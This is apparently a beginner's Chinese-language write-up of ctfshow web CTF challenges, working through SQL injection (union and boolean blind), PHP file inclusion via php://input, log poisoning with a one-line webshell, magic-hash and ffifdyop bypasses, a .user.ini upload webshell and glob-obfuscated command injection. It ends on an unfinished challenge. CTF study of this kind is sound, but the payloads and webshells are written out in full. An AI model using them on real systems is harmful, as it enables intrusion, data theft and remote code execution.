本人初学者,有错误欢迎大家批评指正~
web1-web签到题
打开后页面上只显示了“where is flag”。

右键-查看页面源代码。
这应该就是flag了,但是需要解密。丢到CyberChef里:

点一下Output后的魔法棒,找到flag:
ctfshow{720f8a20-4f50-495c-a7ca-8804dac92e97}
web2-手动注入
打开后是一个登录页面:

尝试一下万能密码,在用户名处输入:
'or true#
输入之后页面上出现了“欢迎你,ctfshow”,说明刚刚登录成功了,同时页面上有回显。

那么这个回显到底对应的是我们查找出来的这条记录的哪个字段呢,接下来进行验证。
尝试select前三个字段,观察页面的回显情况。
'union select 1,2,3#
结果如下:

可以发现,页面回显的是第二列的内容。因此,用语句替换“2”,就可以在页面上回显我们想要的内容。接下来就是套路,先看数据库名,再看表名,再看列名,最后读取数据,如下:
#获取当前数据库名
'union select 1,database(),3#
#获取当前数据库中的表
'union select 1,(select(group_concat(table_name))from information_schema.tables where table_schema=database()),3#
#获取可疑表中的字段
a'union select 1,(select(group_concat(column_name))from information_schema.columns where table_schema='web2'and table_name='flag'),3#
#获取可疑字段值
a'union select 1,(select flag from flag),3#
1.获取当前数据库名。猜测就在当前数据库中。

2.获取数据库web2中的数据表名。猜测就在flag中。

3.获取数据表flag中的字段。那么直接读取这个字段应该就能得到flag了。

4.接下来获取flag字段的值。

得到flag:
ctfshow{360797a9-6951-43f3-8e67-bfd17f3ed0b8}
web3-php伪协议
题目如下:

看到源码的提示,通过include()函数,使用GET方法传递了一个参数url,这说明我们输入的url 的值会直接被当作文件路径包含进来。如果这个参数没有做任何过滤和限制,就可能存在文件包含漏洞。
由于include($_GET['url'])会直接包含我们指定的“文件”,我们可以尝试使用php://input 这个伪协议。它的作用是读取 POST 请求体的原始数据,并将这部分内容当作 PHP 代码来执行。
POST 请求体可以用burpsuite来构造。

<?php system('ls');?>表示读取当前目录下所有文件。
点击forward,发现界面上左上角多了一个文件名:

那么flag应该就在ctf_go_go_go里了。构造payload访问它:
https://…….challenge.ctf.show/?url=ctf_go_go_go
果然页面左上角出现了回显,得到flag:
ctfshow{d53fb7ee-b831-41af-84bd-d448d163b750}
web4-日志注入

用伪协议之后页面报错error,说明这些协议被禁用了。但是注入点依然存在,因此可以考虑上传webshell到目录文件(因为每次都会执行),然后用蚁剑连接,读取该网页的文件。
F12查看页面源代码,点击网络,按F5刷新,找到第一个请求(通常是html页面)查看标头,找到server,可以看到为该网站使用的服务器是nginx。

构造payload,访问服务器的目录文件:
http://…….challenge.ctf.show/?url=/var/log/nginx/access.log


可以发现,每访问一次这个网页,就会多一条日志,而UA字段每次都会被写进日志。如果我们在UA字段后添加一句话木马,那么这个木马就会被写进日志。
这里注意把网址中的https改为http,否则木马可能会被拦截!
在UA字段后写入一句话木马:
<?php @eval($_POST['123']);?>
使用蚁剑连接后得到flag:
ctfshow{15dc3e11-1fc8-4d56-bb8a-b747545f31cb}
web5-Magic Hash
打开之后看到关键代码:

如果v1是全字母,v2是全数字,且它们的md5相同,就返回flag。
此处用到Magic Hash,指在 PHP 等弱类型语言中,某些字符串经过哈希(如 MD5、SHA1)后,其哈希值具有特殊格式(例如以0e 开头),导致在使用松散比较(==)时产生意料之外的“相等”结果。这种现象被安全研究人员称为 Magic Hash 漏洞 或 Magic Hash 碰撞。
经典的Magic Hash:
md5('240610708') → 0e462097431906509019562988736854
md5('QNKCDZO') → 0e830400451993494058024219903391
这两个哈希值都以0e开头,后面全是数字,php会把它们当作“科学计数法”的数字,认为0e...==0e...==0,所以返回true。
构造payload:
https://15a822ad-bf92-4dee-bddc-42eb3a564a7a.challenge.ctf.show/?v1=QNKCDZO&v2=240610708
得到flag:
ctfshow{fbe712d5-2cdf-403f-aecf-08b979d999d9}
一些已经经过验证的magic hash:
md5 collision(md5碰撞)之记录一些MD5值 - 0yst3r - 博客园
web6-手动注入2
还是这个登录界面:

和web2一样,先尝试万能密码'or true#,发现没法成功登录:

一般来说,可能是空格被过滤了,用/**/代替空格,尝试'/**/or/**/true/**/#:

成功登录了。接下来,和web2一样,找到回显位,再看数据库名、表名、列名,最后读取数据。只是要把空格替换成/**/。
#找到回显位
'union/**/select/**/1,2,3#
#获取当前数据库名
'union/**/select/**/1,database(),3#
#获取当前数据库中的表
'union/**/select/**/1,(select(group_concat(table_name))from/**/information_schema.tables/**/where/**/table_schema=database()),3#
#获取可疑表中的字段
a'union/**/select/**/1,(select(group_concat(column_name))from/**/information_schema.columns/**/where/**/table_schema='web6'and/**/table_name='flag'),3#
#获取可疑字段值
a'union/**/select/**/1,(select/**/flag/**/from/**/flag),3#
找到回显位:
![]()
当前数据库:
![]()
当前数据库下的数据表:
![]()
数据表flag的字段:
![]()
查看flag字段的内容:
![]()
得到flag:
ctfshow{b44b0225-4fe1-4731-8505-674822e4c07b}
web7-手动注入3
界面如下:

三个文章点进去之后,发现url分别是?id=1,2,3,如:

这很可能就是注入点,尝试找到回显位:
?id=-1/**/union/**/select/**/1,2,3#
因为id不会等于-1,因此前面语句的查询结果为空,只会返回后面语句的结果:
可以发现,2和3都是回显位,选一个即可。我用了2。
接下来就是和web2、web6一样的套路了。唯一不同的是单引号被过滤了,这里用双引号。
#当前数据库
?id=-1/**/union/**/select/**/1,database(),3#
#当前数据库中的表
?id=-1/**/union/**/select/**/1,(select(group_concat(table_name))from/**/information_schema.tables/**/where/**/table_schema=database()),3#
#获取可疑表中的字段
?id=-1/**/union/**/select/**/1,(select(group_concat(column_name))from/**/information_schema.columns/**/where/**/table_schema="web7"and/**/table_name="flag"),3#
#获取可疑字段值
?id=-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3#
结果分别为“web7”、“flag,page,user”、“flag”、“ctfshow{c659a999-5125-4950-a6be-7b5e0460cd6d}”。
得到flag:
ctfshow{c659a999-5125-4950-a6be-7b5e0460cd6d}
web8-sql盲注
还是和web7一样的界面:

但是用相同的方法解不出来了,应该是一些sql注入的关键词被过滤或拦截了。
发现分别让查询结果为true和false时,界面不一致:
使结果为true:
?id=1/**/or/**/true#
此时的界面:

使结果为false:
?id=1/**/or/**/false#
此时的界面:

可以明显看出两个界面的长度不一样。
理论上来说,凭借true和false的输出不同,我们可以一个字母一个字母猜测数据库、数据表、列、值,但太费时间,因此直接编写一段代码进行批量猜测。关键payload如下:
#获取所有数据库名
ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata)from/**/%d/**/for/**/1))=%d
#获取当前数据库名
ascii(substr(database()from/**/%d/**/for/**/1))=%d
#获取指定数据库下的所有表名
ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema={db_hex})from/**/%d/**/for/**/1))=%d
#获取指定表下的所有列名ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name={table_hex})from/**/%d/**/for/**/1))=%d
#提取指定列的数据
ascii(substr((select/**/{target_column}/**/from/**/{target_table})from/**/%d/**/for/**/1))=%d
循环调用这些payload即可。
基于此,我做了一个sql盲注的小工具,适合true和false回显不同的情况,需要自取:
【免费】SQL盲注工具(基于布尔盲注的自动化工具)资源-优快云下载
使用该工具运行后,得到flag:
ctfshow{7ddedc0f-564c-484d-938f-30d602b47454}
web9-ffifdyop绕过
还是这个界面。但之前的方法都没用了。

那么目前已知的就只有一个网址,用dirsearch扫描它:

发现一个robots.txt,访问它试试看。
所有用户都不允许访问index.phps,看来这个文件确实是解题关键了,访问它。
访问之后直接跳出来一个文件:

下载后打开它:
用户名是默认的admin,密码则要验证md5。我们不知道密码,因此要想办法绕过这个验证。
已知有一个特殊的字符串“ffifdyop”,它的md5值是276f722736c95d99e921722cf9ed621c,解析为字符串时为“'or'6É]é!r,ùíb”。如果我们在密码处输入“ffifdyop”,那么源码中的sql语句会变成:
select * from user where username ='admin' and password =''or'6É]é!r,ùíb'
此时传入的password为空,or后的字符串'6É]é!r,ùíb'由于不等于0,会被判断为true。查询成立。
使用ffifdyop作为密码,结果如下:

flag为:
ctfshow{be01b744-c7b1-47e1-8a85-ae80fddfabc3}
web10-rollup
和web9的界面很像,但多了个取消。

点一下取消,没想到直接跳出一个下载链接:

下载后打开它:

从代码中可以看到,select等查询的关键词被过滤了。如果只是过滤它们,可以用双写绕过,比如selselectect,但是后面还验证了过滤前后的长度是否一致,如果不一致(有东西被过滤)就直接报错了,因此双写不可行。
本人当然是做不出,但这边先给出别的大佬的payload:
admin'or'1==1'/**/group/**/by/**/password/**/with/**/rollup/**/#
解释一下,由于我们不知道账号密码,因此就想办法自己在数据库中写入一个。这里用到rollup,这个sql语句表示在进行分组统计(group by)的基础上增加记录进行汇总统计。如果某列是数值型的话,它就会计算该组的总和,如果是其他,就会返回null。
而在本题中,username和password显然都不是数值型,那么我们使用rollup就会增加一条空记录,即username和password都等于null。这样我们就可以用新生成的这条记录进行登录了!
我做这道题的时候有两个疑惑:
1.这个payload为什么要加一个or'1==1'。
原因:group by是一个聚合操作,它必须作用于一个非空的结果集。
2.payload中给username传递的参数是admin,但构造好一条空记录后,我觉得应该是用username=null和password=null来登录的。那么我这里传递的参数是admin,而不是null,为什么可以用这条空记录登录呢?
原因:前端传递username和password到数据库中查询后,登录的标准是查询到了记录,而不是说先查出username,再返回password,再去比对输入的password是否正确。这个sql语句会返回一条记录,也就是查询到了记录,那么就可以登录。
输入这条payload,得到flag:
ctfshow{e30f62df-3fac-49ab-ac0e-893ef71a0c65}
web11-session
打开后看到一段源代码:

可以看到一些sql查询语句还有空格被过滤了,同时也验证了过滤前后的长度,那么我们构造的payload中就不能有被过滤掉的这些语句。另外,我们发现了得到flag的条件,即:
$password==$_SESSION['password']
先来了解一下Session。
在 PHP 中,Session 是一种在服务器端保存用户状态的机制。每个用户访问服务器时,PHP 可以为他创建一个唯一的会话(session)。服务器上会生成一个 session 文件,里面存储了这个用户的数据,比如:
$_SESSION['password'] = "secret123";
客户端浏览器通过一个叫做PHPSESSID的 cookie 来“记住”自己对应的 session。例如:PHPSESSID=1c9984c1b12bac906bae9392cb47f5bd。下次请求时,浏览器自动带上这个 cookie,PHP 就知道该加载哪个 session 文件。
关键来了,如果没有提供PHPSESSID,PHP 会认为你是一个全新的用户,并为你创建一个全新的、空的 session。那么空的session里根本就不存在$_SESSION['password'],此时访问它,得到的结果就是空(null)。
因此,我们只需要用bp抓包,把password改成空,并删去PHPSESSID就可以成功登录了。


结果如下:

得到flag:
ctfshow{ad15fe41-8023-4afe-93d9-b1b776bbcd0f}
web12-glob绕过
初始界面如下:

没有什么思路,右键查看源代码,发现给出了一个提示:

这里要求上传cmd的参数。构造payload,查看当前目录下的所有文件:
?cmd=print_r(scandir("."));
或者
?cmd=print_r(glob("*"));
发现返回了一个数组:

flag应该就在这个文件名很长的php文件里,访问它:
?cmd=show_source("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
或者
?cmd=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
查看界面回显:

得到flag:
ctfshow{79a33c06-6d58-4680-a552-bf330037c1b8}
红包题第二弹
初始界面如下:

没什么有价值的信息,右键-查看源代码:
提示了一个注入点cmd,先用phpinfo();试一下是否存在执行漏洞:
?cmd=phpinfo();
可以看到返回一段php代码,以下是代码的关键部分:

由此可知,输入会过滤掉很多东西,仔细观察,发现还有几个剩下的:
| 数字 | |
| 字母 | p |
| 符号 | < > ? + = . ; ` / |
也就是说,我们只能用这些剩下的字母和符号来构造语句。
有一种解析说用bp抓包把GET改成POST,上传一个文件来获取flag,然后再在payload中读取这个文件运行后的结果。我尝试了很多次还是做不出来,查了资料问了AI,AI说源代码中获取参数的方法是$cmd=$_GET['cmd'],即使用bp抓包修改了方法,后端还是用GET方法获取,因此只能读到cmd后面的内容,而不会看到请求体!如果源代码中是$cmd = $_REQUEST['cmd'],那么就可以上传请求体了,因为REQUEST同时接受 GET/POST。
所以用以下这种方法,先给出payload:
?cmd=?><?=`/???/?p /???????? p.ppp`;?>
这就非常巧妙了,它原本是:
?cmd=?><?php echo`/bin/cp /flag.txt p.ppp`;?>
在这个语句里,<?php echo等价于<?=,而?匹配单个字符;/bin/cp是cp命令的原始位置(直接?p不行,因为在根目录下搜不到),成功将flag.txt复制到p.ppp。
构造这个payload并运行,此时在当前目录下生成了p.ppp,我们只需要读取它即可:


下载并打开p.ppp,得到flag:

web13-.user.ini
打开后是这样:

用bp抓个包看看能够上传什么类型的文件:

可以上传图片!于是我搞了个图片马,但是上传之后报错了:

zise?应该是size?是文件大小的问题?
没有思绪了,那么目前已知只有一个url,只能用dirsearch扫描它:
扫出来一个upload.php。访问它:

网页上只有一些提示,做到这里我去搜了wp,发现这里涉及源码泄露。
很多开发人员在修改文件时,会习惯性地将原文件进行备份,以本题为例,可能的备份文件名为:
upload.php.bak
upload.php~
upload.php.save
upload.zip
upload.backup
尝试访问upload.php.bak,跳出一个下载链接:

下载后打开它,找到如下代码:
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){die("error file zise");}
if (strlen($filename)>9){die("error file name");}
if(strlen($ext_suffix)>3){die("error suffix");}
if(preg_match("/php/i",$ext_suffix)){die("error suffix");}
if(preg_match("/php/i"),$filename)){die("error file name");}
if (move_uploaded_file($temp_name, './'.$filename)){echo "文件上传成功!";}
else{echo "文件上传失败!";}
?>
由此可知, 上传文件的限制如下:
1.文件 ≤ 24 字节(太小)
2.文件名 ≤ 9 字符
3.后缀 ≤ 3 字符
4.文件名和后缀中不能含 "php" 字样
原本的一句话木马:
<?php @eval($_POST['a']);?> //a.php
修改成满足条件的一句话木马:
<?php eval($_POST['a']); //a.txt
上传这个一句话木马:

接下来应该运行它,但是我们上传的是txt文件,因此里面的木马不能被php解析。直接访问它,后端只会把它当作一个字符串返回。

为了运行1.txt,我们还需要上传一个文件。.user.ini是PHP的隐藏配置文件,auto_prepend_file参数可以让服务器在每个页面运行前自动执行某个文件,设置auto_prepend_file =a.txt,可以让服务器在运行php文件前包含1.txt,那么1.txt自然就会被当作php代码解析了。
auto_prepend_file =a.txt //.user.ini
上传这个文件。

但是用蚁剑连不上,直接使用curl命令:
curl -k -d "a=system('ls');" https://…….challenge.ctf.show/upload.php

找到了一个文件名很长的可疑文件,但是不能直接在网页上访问,因为它是以“?”开头的,会被当做一个参数上传。于是用cat命令访问:

得到flag:ctfshow{204384d5-4d83-4eba-a6d8-07ad346007cf}
web14-手动注入4
打开之后看到一段代码。

可以看到GET方法传入的参数为c,于是构造payload:
?c=1
?c=2
?c=3
……
尝试到3的时候,页面输出一个可疑文件:

直接在网址中访问它,跳出一个提示框,点击确定:


看起来是sql注入。F12查看源代码:

这个注释提示我们,一些关键词被过滤了。因此后文用information_schema.`tables`等代替information_schema.tables等。
尝试了一些基础的语句,发现过滤了空格。用/**/替代空格。
#获取数据库名
-1/**/union/**/select/**/database();#
#获取当前数据库中的数据表名
-1/**/union/**/select/**/group_concat(table_name)from/**/information_schema.`tables`/**/where/**/table_schema='web';#
#获取可疑数据表中的字段名
-1/**/union/**/select/**/group_concat(column_name)from/**/information_schema.`columns`/**/where/**/table_schema='web'and/**/table_name='content';#
#获取可疑字段值
-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content#
回显如下:




没有找到flag,猜测是在secret.php中。基于Web服务器的默认路径/var/www/html尝试读取secret.php的内容。
-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
没有显示,但源代码中多出一段:

如果/tmp/gtf1y这个文件的内容里有ctf.show,就返回/real_flag_is_here这个路径下的内容。
构造payload:
-1/**/union/**/select/**/'ctf.show'/**/into outfile/**/'/tmp/gtf1y'#
运行之后再访问secret.php:

当然也可以直接访问/real_flag_is_here:

得到flag:ctfshow{384c655e-8559-4a7d-8cca-3c3b8c312e0d}
红包题第六弹
看到一个登录界面:

随便输入,点击登录,提示md5 error:

右键查看源码,在ctfshow这个函数里看到一个注入点:
oReq.open("POST", "check.php?token="+token+"&php://input", true);
我们先随便构造一个payload:

扫描一下这个网站:
(还在更新中,欢迎关注~)
1万+

被折叠的 条评论
为什么被折叠?



